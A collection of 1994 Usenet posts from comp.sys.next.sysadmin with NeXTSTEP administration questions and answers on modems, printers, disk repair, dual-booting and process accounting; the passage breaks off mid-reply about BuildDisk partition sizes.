References: <1994Mar26.124626.836@rna.indiv.nluug.nl>
Date: Wed, 30 Mar 1994 18:16:02 GMT
In article <1994Mar26.124626.836@rna.indiv.nluug.nl> gerben@rna.indiv.nluug.nl writes:
> Hello, World!
>
> I have just installed a new modem (MultiTech MultiModem ZDX) to tyr it out with
> NXFax, UUCP and kermit.
>
> It all seems to work fine. Just one thing.
>
> When I use kermit to connect to another host, and I start up with speed 38.4 k
> and I get a v32bis link with compression I can get a recv buffer overrun. My
> cable supports hardware flow control, I use /dev/cufa, so why is it
> complaining? is it harmful? When I use speed 19.2k between modem and computer,
> no problem at all.
>
> Can I use 38.4k between computer and modem?
>
> Thanks,
>
> --
> Gerben Wierda [NEXTSTEP RD242] gerben@rna.indiv.nluug.nl
> "If you don't know where you are going, any road will
> take you there." From the Talmud, rephrased in
> Lewis Carroll, "Alice in Wonderland".
This is my own opinion. It is pure speculation.
There is an internal buffer set by the serial port driver in UNIX. When some characters
arrives in the serial ports, these characters are put into that buffer (named 'silo').
The SCC chip sends an interrupt and the silo is emptied by the main processor. If
data arrives too fast or the main processor is not quick enough to get the data before
the buffer fill up, some characters are lost and you will have the overrun error
message. In the same time, when the SCC pull the hardware signal to tell the modem that
it can't accept more data, sometimes the modem is not quick enough to stop immediatly.
The size of the buffer could be extended. That is the responsability of the owner of the
serial port (the application) to send the correct ioctl statement to increase the size of
the buffer.
The safe speed limit of most computer is 9600 bps. You can try to go faster (19200 or
38400) but do so is very you must be carefull to not use all the juice provided by the
connection. 19200 and 38400 could be ok for short packets and for a short period of time.
The ultimate behaviour will be determined by the modem you use, the compression rate
acheived between the two modems (9600 X 1 up to 14000 X 4) and the response time of both
your machine and your modem to hardware signals.
Yanik
--
Yanik Crepeau The power of OOP used to stop when
Programmer the programmer typed "make". With
Planon Telexpertise NEXTSTEP and PDO, that is not true
E-Mail: yanik@planon.qc.ca (NeXT) anymore!
Newsgroups: comp.sys.next.sysadmin
From: shergot5@mach1.wlu.ca (scott hergott u)
Subject: Please, No Flames!
Message-ID: <CnI083.D6H@mach1.wlu.ca>
Organization: Wilfrid Laurier University
Date: Wed, 30 Mar 1994 22:09:38 GMT
Hello, I am currently thinking about installing NT on a 300 Meg partition,
along with my 800 Meg NeXTSTEP 3.2 Intel partition. Has anyone attempted
such a feat?
I know (from personal experience) that DOS can cause a problem, but what
about NT? Should I use NTfs, or install using FAT binary?
Please, If anyone has any experience or warnings email them to me, or post
them. Thanks,
(Any no, I'm not a deserter, I still believe that NS is the best OS, running
Windows NT will I'm sure reinforce this, as it will likely have many bugs!
(:-)
Thanks,
Scott Hergott
From: zhao@crl.nmsu.edu (Z. Zhao)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
Subject: Intel Exp16 & NS/I & SimpleNetSatrter
Date: 30 Mar 94 16:36:30
Organization: Computing Research Lab
Message-ID: <ZHAO.94Mar30163630@sparta.crl.nmsu.edu>
I have an Intel EtherExp16 on an ALR Evolution V. I also loaded the
undated driver got from NeXT. When I try to net the pc to a Sparc
using NS/I 3.1 SimpleNetStarter, I alway run into the error:
ifconfig: ioctl (SIOCGIFFLAGS): no such interface
I couldn't figure out what is wrong. Neither, the Next technical
support. I hope someone on the net has a solution.
Regards,
ZiZi
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Please, No Flames!
Date: 30 Mar 1994 23:46:05 GMT
Organization: University of Houston
Message-ID: <2nd2vt$t6h@masala.cc.uh.edu>
References: <CnI083.D6H@mach1.wlu.ca>
In article <CnI083.D6H@mach1.wlu.ca> shergot5@mach1.wlu.ca (scott hergott u)
writes:
#Hello, I am currently thinking about installing NT on a 300 Meg partition,
#along with my 800 Meg NeXTSTEP 3.2 Intel partition. Has anyone attempted
#such a feat?
#
#I know (from personal experience) that DOS can cause a problem, but what
#about NT? Should I use NTfs, or install using FAT binary?
#
#Please, If anyone has any experience or warnings email them to me, or post
#them. Thanks,
#
#(Any no, I'm not a deserter, I still believe that NS is the best OS,
running
#Windows NT will I'm sure reinforce this, as it will likely have many bugs!
#(:-)
#
#Thanks,
#
#Scott Hergott
We have 32 machines that have a 125M Windows NT partition (partion 1) and a
285M NEXTSTEP partition (partition 2). The only thing is that to get to
Windows NT, you need to press 1 instead of D (because there ain't no Dos!)
We have been using this configuration since Oct 93 without any significant
problems....
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: csmith@blackplague.gmu.edu (Christian Smith)
Newsgroups: comp.sys.next.sysadmin
Subject: PCNFSD Ver 2
Date: 30 Mar 1994 22:12:43 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <2nctgr$hn2@portal.gmu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
I am setting up a bunch of Dos/Windows machines to mount drive
space froma NeXT and want to use PCNFSD ver 2 for authentification
and print sharing. I got a copy from FTP Software but the Makefile
seems to only be for Sun OS. Has anybody compiled PCNFSD Ver 2 on
a Next running 3.2?
--
Christian Smith
aka Blackplague
PGP Public Key available by finger or request.
Organization: The American University - University Computing Center
Date: Wed, 30 Mar 1994 15:56:23 EST
From: <CADER@auvm.american.edu>
Message-ID: <94089.155623CADER@auvm.american.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Parity Error with replacement internal HD
I replaced my internal quantum (LPS) with a ELS 170but keep
getting a parity error. Does anyone have any information
they could share with me.
---Masud.
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: fineman@cs.washington.edu (Daniel Fineman)
Subject: So, where's the CC or g++ in NS3.2/Intel?
Message-ID: <1994Mar31.054606.19882@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Thu, 31 Mar 94 05:46:06 GMT
I'd just *love* to be able to do my C++ homework from home;
and now i find that there isn't a CC or g++ anywhere by itself.
There's a /usr/include/g++ directory; how can I make the executable?
help!
dan
fineman@cs.washington.edu ASCII pleeze
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: RISC usage in ND card
Message-ID: <CnHx0M.1H7@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <2ncb9t$kus@netnews.upenn.edu>
Date: Wed, 30 Mar 1994 21:00:21 GMT
In article <2ncb9t$kus@netnews.upenn.edu> rimon@spectre.sas.upenn.edu
(Rimon E. Huque) writes:
>
>
>
> Could anyone enlighten me with the role played by the Intel i860 RISC
> chip in the NeXT Dimension? Isn't Display Postcript run by 68040?
>
> Why is the color graphics speed in NeXTDimension equipped workstations
> so much slower, even while RISC equipped? What does the chip actually
> do? I'm sure it does more than compression/decompression: what else?
>
> What are the SPECint92, SPECfp92, MIPS, Bus Width, Clock speed numbers
> of the chip, and how does this compare to other RISC chips?
>
> Rimon Huque
[jokes on]
What does the i860 on the ND board?
a) NeXT planed on putting 'intel inside' on the cubes.
b) Nothing at all, I removed it and used it as spare part, ND still works.
c) Marketing gag. They are empty.
[jokes off]
I always had my doubts about the i860 on the ND. You can;t access it. The
ND is slow. If the i860 is used at all, then probably only as refresh
controller for the dram. (Did I type [jokes off]???)
Gerd
Newsgroups: comp.sys.next.sysadmin
From: kemal@sap-ag.de (Kemal Koeksal)
Subject: Builddisk.app & scsimodes (NSFI)
Message-ID: <CnJ3ty.L21@sap-ag.de>
Sender: news@sap-ag.de (USENET News System)
Organization: SAP-AG Walldorf
Date: Thu, 31 Mar 1994 12:25:10 GMT
I relized that Builddisk.app passes exactly the half of the ns sectors
value to mkfs reported by scsimodes. What is the reason for that ?
The disk is SCSI-1 DEC RZ56 of 634 MB. Also the total number of sectors is
aprox. the half of what scsimodes reports. When I build a disktab entry
based on the output of scsimodes and try /usr/etc/disk -t rz56 -i /dev/sd1a
then the kernel panics. So whats wrong here ?
by the way, how can I force the Workspacemanage not to automount every disk
it discovers during login ( without putting an entry in fstab and mounting
it permantly systemwide). Or how can I unmount the disk again so that I can
do a newfs or disk again. Even when I switch to single user mode, the device
is still busy.
-kemal
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: how do I add postscript fonts to a black NS 3.2 68040 CUBE???
Date: 30 Mar 1994 21:43:32 -0500
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Message-ID: <2nddck$hi9@math.mps.ohio-state.edu>
How do I add postscript fonts to a black NS 3.2 68040 CUBE???
Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: fgan@athena.mit.edu (Gan Fanqui)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT PRINTER HELP
Date: 31 Mar 1994 13:17:21 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2neih1$9v2@senator-bedfellow.MIT.EDU>
Hello, we have two NeXT computers in the internet network. Only one of them is
connected to a NeXT printer. The other one prints through the ethenet. After we
upgrade from v.2.0 to v.3.1. We can't print through ethenet anymore. The console
window gives an error message "can't get network name for local user" when we
try to print. Actually, the file has sent to the computer that has the printer
attached to it. Could anybody tell what's wrong with it? We didn't change any
printcap file in both computers? Thank you.
--Gan
From: af@iaka.biomath.jussieu.fr (Alain Fauconnet)
Newsgroups: comp.sys.next.sysadmin
Subject: Help! No more processes
Date: 31 Mar 94 15:29:50 GMT
Organization: Universites Paris VI/Paris VII - France
Distribution: world
Message-ID: <af.765127790@iaka>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
"Hello, world\n" (c) K&R ;-)
One of our black boxes running NS 3.1 sometimes gives "no more
processes" messages when a user tries to start a new application. Ok,
the process table is too small, that's an easy one. Arglll... how does
one change the kernel's parameters in NS ? I know how to do that on
various flavors or Unix, but I can't find anything in the NS
documentation concerning that. I guess I don't have to rebuild a
kernel, NS is a "modern" Unix :-)... Is that one of the "kernel flags"
like nbuf= was ? What's its name ?
Thanks for any help, even if it's just a pointer to TFM.
_Alain_
--
Alain FAUCONNET Ingenieur systeme - System Manager AP-HP/SIM
Public Health Research Labs 91 bld de l'Hopital 75013 PARIS FRANCE
Mail: af@biomath.jussieu.fr (*no* NeXTmail !)
Tel: (+33) 1-40-77-96-19 Fax: (+33) 1-45-86-80-68
From: ras@nextras.mko.dec.com (Bob Surtees)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with NeXT Optical Drive
Date: 31 Mar 1994 14:40:45 GMT
Organization: Digital Equipment Corporation
Message-ID: <2nendd$ink@nntpd.lkg.dec.com>
I have a NeXT Dimension Cube running NeXTSTEP 3.2 and installed a magneto
optical drive that I took out of an old NeXT cube that was running
NeXTSTEP V1.0. Is it possible to access this drive? What do I need to
do? Inserting a disk into the drive currently produces a few whiring
sounds before the disk gets ejected.
Thanks, Bob Surtees
Newsgroups: comp.sys.next.sysadmin
From: chababe@ennex4.eng.utsa.edu (Abderrazak Chababe)
Subject: A server is not recognizing other machines
Message-ID: <1994Mar30.071315.6824@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
Distribution: usa
Date: Wed, 30 Mar 1994 07:13:15 GMT
Hi everyone,
We have about five next machines. One of them is not recognized by either the
server or any other machine. Did anyone run into this problem before. Please
respond to
chababe@ennex1.eng.utsa.edu
thanks
Newsgroups: comp.sys.next.sysadmin
Subject: Bind 4.9.2 on NS 3.2
Message-ID: <S.A.MCINTYRE.94Mar31165557@shrug.dur.ac.uk>
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Date: 31 Mar 1994 15:55:57 GMT
Distribution: world
Organization: I speak for myself
I recently compiled and installed bind 4.9.2.final on my nextstaion colour
and noticed in the daemon.info log billions of named: recvfrom: No more
processes errors....hundreds and hundreds...
My immediate reaction was that it was somehow telling the truth and
that the process table was full, but that couldn't be as nothing else
was having problems...
sooooo, has anyone installed this, had this problem? found a solution?
thanks,
scott
--
GAT d-- -p+ c++++ !l u++ e+++@ m++(*) s+/+@ n+ h-- f+@(?) g+ w+++ t++ r- y**(+)
EMAIL: scott@shrug.org (NeXTmail accepted) OR S.A.McIntyre@durham.ac.uk
WWW: http://shrug.org/~scott/
"In another novel, I *am* you"
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Newsgroups: demon.ip.support.unix,comp.sys.next.sysadmin
Subject: Re: Smail users? Anyone Anyone?
Date: 31 Mar 1994 13:52:17 GMT
Organization: I speak for myself
Message-ID: <S.A.MCINTYRE.94Mar31145217@shrug.dur.ac.uk>
References: <2mt3it$353@steffi.demon.co.uk> <2muaj1$1fq@marsu.tynet.sub.org>
In-reply-to: mow@marsu.tynet.sub.org's message of 25 Mar 1994 10:23:45 +0100
I've been using smail on my NeXT for over a year and have found it
superb...none of the sendmail holes, and loads of features, easy to
understand, easy to configure....I can highly recommend it.
Scott
--
GAT d-- -p+ c++++ !l u++ e+++@ m++(*) s+/+@ n+ h-- f+@(?) g+ w+++ t++ r- y**(+)
EMAIL: scott@shrug.org (NeXTmail accepted) OR S.A.McIntyre@durham.ac.uk
WWW: http://shrug.org/~scott/
"In another novel, I *am* you"
From: dekorte@scri.fsu.edu (Steve Dekorte)
Newsgroups: comp.sys.next.sysadmin
Subject: ARRRRRRG!!!
Date: 31 Mar 1994 16:55:32 GMT
Organization: Florida State University
Message-ID: <2neva4$5u3@mailer.fsu.edu>
I've run into a serious bug.
Using Edit, I can not print in Portrait format - only Landscape.
Every time I go into Page Layout and set it to Portrait,
and hit 'OK' the next time I print or go back into Page Layout,
it has been reset!
Anyone know how to fix this?
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: anis@netcom.com (Anis Khwaja)
Subject: Taylor UUCP Help Needed
Message-ID: <anisCnJGoL.KI1@netcom.com>
Keywords: UUCP,Taylor
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Thu, 31 Mar 1994 17:02:44 GMT
I would like to know If there is compiled version of Taylor UUCP 1.04 on the
archives? I have downloaded the sources and tried to make them but no luck.
If some one who has successfully made it and install perhaps would like to
help me do the same I would be appreciate it very much.
Please email me response . Thanks
anis
Newsgroups: comp.sys.next.sysadmin
From: chwastyk@jordan.nrl.navy.mil (Tom Chwastyk)
Subject: HELP? NEXTSTEP vs. DOS problem
Message-ID: <CnJIvJ.4rI@ra.nrl.navy.mil>
Sender: usenet@ra.nrl.navy.mil
Organization: Naval Research Lab, Washington, DC
References: <CnI083.D6H@mach1.wlu.ca>
Date: Thu, 31 Mar 1994 17:50:06 GMT
On an Intel with NEXTSTEP 3.1, I need to run a 32-bit Windows application
(so I can't use SoftPC). I log out, click "restart in dos" (MSDOS 6.0),
start Windows, run my application, exit from it and from Windows, and try
to "gonext" from the dos prompt. Sometimes I get to the NS login screen
but the mouse is frozen - pretty much a terminal condition for NS - and
other times I get a boot sequence that crashes and locks up (and stays
that way for hours) or, after a few minutes, without warning and without
a prompt reboots in dos. Even on those occasions where I got through the
NS login screen with the mouse working, I have later found files missing
or corrupted in the NS partition, including in /bin and /etc.
The only Windows application I'm using is Manugistics' APL*PLUS III with
the Win32S window extender bound in.
I'm reinstalling NS for the 4th or 5th time. I'm using a 1169 MB Quantum
disk which during NS installation shows up as
DOS/16-bit FAT 110 MB starting at 0 ACTIVE
NeXTSTEP 1058 MB starting at 110 - .
I've seen allusions to NS/DOS problems, e.g., <CnI083.D6H@mach1.wlu.ca>
where shergot5@mach1.wlu.ca (scott hergott u) writes:
> Hello, I am currently thinking about installing NT on a 300 Meg
> partition, along with my 800 Meg NeXTSTEP 3.2 Intel partition.
> Has anyone attempted such a feat?
>
> I know (from personal experience) that DOS can cause a problem,
> but what about NT? Should I use NTfs, or install using FAT binary?
Can anybody clue me in/point me to a FAQ or article discussing NS/DOS
problems? I've talked this over with my sysadmin, who says we both need
help on this.
Thanks!
--
Tom Chwastyk Naval Research Laboratory, Washington DC
From: Norman Field <norman@curie.igpp.ucla.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Another NeXT Printer Problem: Printer Died
Date: 31 Mar 1994 19:45:05 GMT
Organization: UCLA
Distribution: world
Message-ID: <2nf981$9vk@news.mic.ucla.edu>
Hi folks,
I have a stand alone NextStation with Next laser printer.
Normally when I power on, the printer also powers up, but this is
no longer the case and I cannot print anything. I hacked around
as best as my limited knowledge allowed and came up with facts which
I cannot piece together. Here's what I found:
1. /usr/lib/NextPrinter/npd was not in /etc/rc, nor did ps show it was
running. I started npd manually, but the printer still didn't work.
2. the status command while running lpc gives the following:
Local_Printer
queing is enabled
printing is enabled
no entries
no daemon present
3. ps shows that /usr/lib/lpd is running
4. I don't have an /etc/printcap file
5. If I try to print from Preview, the print panel says
Name: (no printer available)
...Printer description file not available
I have had this system for about three years,I don't use
the printer that often, and I haven't tried to reconfigure the system
at all. I'm hoping that this is a software problem, but if it is
a hardware, I might ask right now at what kind of place I might have
it serviced. Please email any help to: norman@curie.igpp.ucla.edu
Thanks,
Norman Field
From: trey@hsv.tybrin.com (Trey McClendon)
Newsgroups: comp.sys.next.sysadmin
Subject: Advice Needed on Mysterious Login Problem
Date: 31 Mar 1994 13:49:48 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403311943.AA01469@hsv.tybrin.com>
One of the NeXTs in our office has been exhibiting strange behavior on occasion
ever since we got our SLIP connection up and running. The OS is 3.2 with the
latest version of Transys DialupIP.
Every so often logins from the other modem that is attached do not work. The
SLIP modem is on Port B, while we have another ZyXEL 1496E on Port A for
dial-in usage. When attempting to dial-in on port A, the computer gives a
login prompt, takes the user name and password, then hangs until the login
times out. At this point the carrier is dropped. I can dial in to another
machine on the network, so netinfo appears OK. I can even rlogin to the SLIP
host, and access and reset the modem via kermit. Doing this does not help.
When the computer gets into this state someone will have to log in at the
loginwindow prompt to restore proper operation.
Here's where it gets more strange. With the computer in the state I just
described, I can type 'console' in the loginwindow to get the the mach OS login
prompt. Attempts to login as root or myself do not work. They hang just like
the modem logins. However, if I now login to the Workspace, 1) it lets me do
it in the first place, and 2) it clears up the problem. If I log out of the
Workspace, type 'console', then login in to the mach OS prompt, I get in with
no problems. At this point the modem logins work, too.
I've tried killing gettys, etc. to no avail.
Other info. The SLIP host is primary nameserver, while our internet provider
is secondary. It is not the netinfo server. Internet access from other machines
while the SLIP host is 'out to lunch' is not affected. (also remember: rlogins
to the SLIP host work fine)
Any ideas would be greatly appreciated. This is getting annoying. I've thought
about just totally reinstalling the OS from scratch on this disk, but I don't
really want to do that. It seems like it's got to be some DNS-type config
problem or something related to the SLIP software.
Thanks for taking the time. Please email and I'll summarize.
Trey
---
Trey McClendon NeXTMail Accepted TYBRIN Corporation
trey@hsv.tybrin.com Fax: 205-837-3472 Voice: 205-837-2027
From: ccpaulh@monad.missouri.edu (H. Paul Hammann)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: System accounting problems under Black NS 3.2
Date: 29 Mar 1994 01:48:45 GMT
Organization: University of Missouri - Columbia
Distribution: World
Message-ID: <2n81eb$ieh@golf.ustores.missouri.edu>
Hello all,
for some reason accounting does not seem to work under NS 3.2. When I run
/usr/etc/accton I get no error messages but the file /usr/adm/acct is not
created. When I try to specify the file I get an error. "accton: No such file
or directory" in either case system accounting is not started. Strange... Any
help or hints would be appreciated.
--
H. Paul Hammann
ccpaulh@monad.missouri.edu
From: ccpaulh@monad.missouri.edu (H. Paul Hammann)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: SCSI Hard Drives for Black Cube : Recommendation wanted
Date: 29 Mar 1994 01:55:02 GMT
Organization: University of Missouri - Columbia
Distribution: World
Message-ID: <2n81q4$igk@golf.ustores.missouri.edu>
Keywords: HD, cube, SCSI
Hello all,
I'm in the market for a few of ~1 Gig SCSI HD's to chain onto the back of
a cube. Main concerns are: Warranty, Ease of addition, reliability, and cost.
If anybody has any recommendations, suggestions, horror stories, and/or
personal experiences please let me know. Thanks.
--
H. Paul Hammann
ccpaulh@monad.missouri.edu
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to copy NEXTSTEP boot floppy?
Date: 31 Mar 1994 19:55:06 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2nf9qq$g39@quartz.ucs.ualberta.ca>
References: <1994Mar30.164108.21642@sics.se>
Martin Wennerberg (martin@initiera.upnet.se) wrote:
: How can I create an exact copy of the NEXTSTEP for Intel 3.2
: install floppy?
: Thanks for any help on this subject...
: /Martin
Try
cat /dev/rfd0h /tmp/bootfloppy
eject disk
cat /tmp/bootfloppy /dev/rfd0h
insert disk when it asks.
(Might be 0a not 0h.)
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: Jim De Arras <jmd@cube.handheld.com>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disk repair tools?
Date: 31 Mar 1994 23:11:51 GMT
Organization: Hand Held Products, Inc.
Distribution: world
Message-ID: <2nflbnINN5i8@clem.handheld.com>
References: <2naarf$pah@agate.berkeley.edu>
In article <2naarf$pah@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi
Ohzawa) writes:
> In article <2na1ij$dom@senator-bedfellow.MIT.EDU> mjbauer@ATHENA.MIT.EDU
(Geek Without A Home)
> writes:
> >In article <9403281834.AA26129@audiotst.ap.com>
audiotst!Louis_Eagle@uunet.UU.NET writes:
> >>For the past few days retries for this block and one other have
> >>become more frequent. This morning was the first time the retry count
> >>got above 2 and the "Block in error" message was issued.
> >[...]
> >> Target 1: MEDIA ERROR; block 32d80H retry 9
> >> sd0 (1,0): sense key:0x3 additional sense code:0x11
> >> SCSI Block in error = 208256; Partition a F.S. sector 103968
> >
> >I am experiencing a similar problem to this; it started yesterday when
> >my Next (slab, running 3.0) kernel-panicked when I moved a window.
> > [..]
> >In groveling for a disk utility, I found one named "disk", which would
> >seem to be a good start. However, the commands that I would seem to
> >want to use ("read" and "verify") are poorly documented. I would try
> >them, except that the group of commands that they are in on the man
> >page all come with the warning that any of them may destroy disk data.
> >
> >Does anyone have experience with running "disk" by hand, and, in
> >particular, using the commands "read" and "verify"?
>
> I don't believe /usr/etc/disk command's "read" and "verify" can do
> anything for you when the disk is apparantly having hard errors such
> as media errors and other general read/write failures. These will
> just confirm what you already know: you can't read and/or write data
> to specific blocks.
>
> Best attempt to do is to salvage whatever you can and do a
> low-level format of the whole unit using "sdformat" avaialble from
> the archives (I believe it's in /pub/next/binaries/utilities on
> cs.orst.edu.).
>
> If you want to try a less drastic approach first, you might try
> "reasb" from ftp.next.com:/pub/Old_FTP_Files/Misc/Utilities/reasb/
> directory. This is pretty minimal software as something that
> tries to reassign bad blocks with a good one. I think we heard
> some reports here that this doesn't work all that well.
>
reasb comes standard with the release, /usr/etc/reasb. It works great,
it's fixed two hits I took during power failures. The spares exist on the
drive, no need to reformat until you run out! Only thing to watch for is
reasb command takes a decimal SCSI block number as an argument, but the sd
driver reports media errors in hexadecimal.
> My recommendation is to do a low-level format and do a complete
> reinstall. If any bad spot reappears soon after, it may be time
> to replace a drive. Many drives now offer 5-year warranty for
> free, so you might just ask for a replacement if you have one
> of those.
Jim
Newsgroups: comp.sys.next.sysadmin
From: mikem@afs.com (Mike Matlack)
Subject: a big file on a small disk?
Message-ID: <1994Mar31.162601.260@afs.com>
Sender: mikem@afs.com
Date: Thu, 31 Mar 1994 16:26:01 GMT
I have a NeXTstation running NS3.0 containing a 240MD drive.
I have a file on the system that, in most cases, the OS thinks is much larger
(over a gig) than the hard drive. Here are the cases:
using ls -l, size is 1941617664 (1900 MB)
using du -s, size is 1448 (1.4 MB)
using Compute in Workspace inspector, size is 1851 MB
If I move this file, the size stays the same. If if fsck -P the file system,
the size does not change. When I try to copy, tar, or dd the file, the
resulting file approaches the larger numbers...it either removes all the space
on my drive or I kill the process before it does.
If I do a df, I find there is 25MB still left on my drive.
I'd be happy if this is some new compression scheme:-)
Any idea what's going on? Any idea of I can convince the OS of the real size
of this file? (please reply to me directly...our newsfeed is a few days
behind)
Thanks!
mikem
From: theharv@csld.ucr.edu (Brian Harvey)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: Re: System accounting problems under Black NS 3.2
Followup-To: comp.sys.next.sysadmin,comp.sys.next.bugs
Date: 29 Mar 1994 17:01:07 GMT
Organization: University of California, Riverside
Distribution: World
Message-ID: <2n9msj$j7k@galaxy.ucr.edu>
References: <2n81eb$ieh@golf.ustores.missouri.edu>
H. Paul Hammann (ccpaulh@monad.missouri.edu) wrote:
: Hello all,
: for some reason accounting does not seem to work under NS 3.2. When I run
: /usr/etc/accton I get no error messages but the file /usr/adm/acct is not
: created. When I try to specify the file I get an error. "accton: No such file
: or directory" in either case system accounting is not started. Strange... Any
: help or hints would be appreciated.
You need to create the file first. Simply do:
touch /usr/adm/acct
and then
/usr/etc/accton /usr/adm/acct
to turn on the accounting.
----------------
Brian Harvey * theharv@csld.ucr.edu
University of California, Riverside * brian@cs.ucr.edu
C.S.L.D. System Administrator (NeXT Mail preferred everywhere!)
From: smcgrew@theocean.uoregon.edu (Steven McGrew)
Newsgroups: comp.sys.next.sysadmin
Subject: interesting stats?
Date: 1 Apr 1994 01:30:45 GMT
Organization: University of Oregon
Distribution: world
Message-ID: <2nftg6$2te@pith.uoregon.edu>
Hello world,
I have a strange question.
Since I have been sysadmin for a next machine I often see that the idle
time for users is VERY large (the console user sometimes has idle times of
several weeks) when I know that can not be the case. Does this signify a
larger problem that I need to address or is this just a qwirk? - if my
machine is going to start smoking in the next few days I would like to
know. Any info would be helpful.
Thanks in advance.
Steven McGrew
smcgrew@theocean.uoregon.edu
-NeXTmail OK of course.
From: gt6963c@prism.gatech.edu (John)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Some system problems (NS/Intel)
Date: 31 Mar 1994 21:09:15 -0500
Organization: Georgia Institute of Technology
Distribution: world
Message-ID: <2nfvob$1pa@acme.gatech.edu>
I've been having a few problems.. first, every so often
I'll boot and my scsi card or cd-rom causes a system
panic, and when I reboot the cd-rom isn't recognized..
so I have to deinstall the scsi driver and then reinstall
it and reboot.. (just rebooting doesn't work) and then it
works for a while. I've got an Adaptek 1542c (not cf) and
a Sony CDU-561. (the text boot sequence recognizes the
scsi card but not hte cd-rom when it's having this problem).
Second.. the since I reinstalled my os from scratch a couple
weeks ago, the SoftPC demo wont run. It gets to the browser
where you pick a dos or windows setup, and I click ok..then
a few minutes later I get a panel that says "This session of
SoftPC cannot use full screen display" and has quit or continue
buttons.. no matter which I pick, the app exits.
Third, and MOST annoying, my dos partition (on the second
hard drive) is only valid for the first log in. When I
boot up, the first time I log in (no matter what account),
I can see my dos partition. If I log out, and log back in
to any account (including the same one), I can't find my dos
partion, or mount it, or anything. It tells me the device
file isn't found, even tho I can do an ls -l on it. (putting
an entry into the fstab or the netinfo fstab doesn't seem to
matter..and the printed and on-line documentation are out of date
to pre-intel hardware).
Thanks for any help.
John Rudd
--
John "Kzin" Rudd gt6963c@prism.getech.edu (ex-kzin@cc.gatech.edu)
===========Intel: Putting the backward in backward compatable.===============
"Tonya, the new cologne for men. One whif makes women weak in the knees"
===========================DOOM(1.2) ON YOU!=================================
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Any way to make File Viewer root?
Message-ID: <westesCnK6BM.CG9@netcom.com>
Organization: Mail Group
Date: Fri, 1 Apr 1994 02:16:33 GMT
In the same way that you can su root from a shell to temporarily
give yourself root privileges, does NeXT have some mechanism to let
you give the File Viewer temporary root privileges?
--
Will Estes Internet: westes@netcom.com
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Builddisk.app & scsimodes (NSFI)
Date: 1 Apr 1994 02:36:36 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2ng1bk$c8u@cs.ubc.ca>
References: <CnJ3ty.L21@sap-ag.de>
In article <CnJ3ty.L21@sap-ag.de> kemal@sap-ag.de (Kemal Koeksal) writes:
> I relized that Builddisk.app passes exactly the half of the ns sectors
> value to mkfs reported by scsimodes. What is the reason for that ?
You've got a disk with 512 byte sectors, right? I just finished dealing
with that problem. BuildDisk seems to have two bugs:
1) It doesn't know about fdisk NEXTSTEP partitions, and thinks
the entire disk (as returned by scsimodes) is available.
2) Doesn't check the blocksize, and assumes the sectors are 1024
bytes, which ends up with the first partition being half the size you
expect (if you have a disk with 512 byte sectors).
Fortunately this is not critical, since all BuildDisk does is call
/usr/etc/disk with the -p parameter to specify the size (in sectors) of
the first partition. Since disk is smart enough to know about sector
sizes and NEXTSTEP partitions, nothing is really screwed up except that
you only get half the size you expect.
Solutions:
If the desired size of your first partition is less than 1/2 of
the total disk size (i.e. what BuildDisk thinks it has available), you can
just move the slider to double the value that you want, and everything
should work fine.
If you want a bigger partition, it's a bit tougher. I tried a
few things, but the easiest way I found was to replace /usr/etc/disk with
a "dummy" program that doubles the partition size before passing the
parameters onto the real /usr/etc/disk. Specifically (as root),
1) mv /usr/etc/disk /usr/etc/disk.SAV
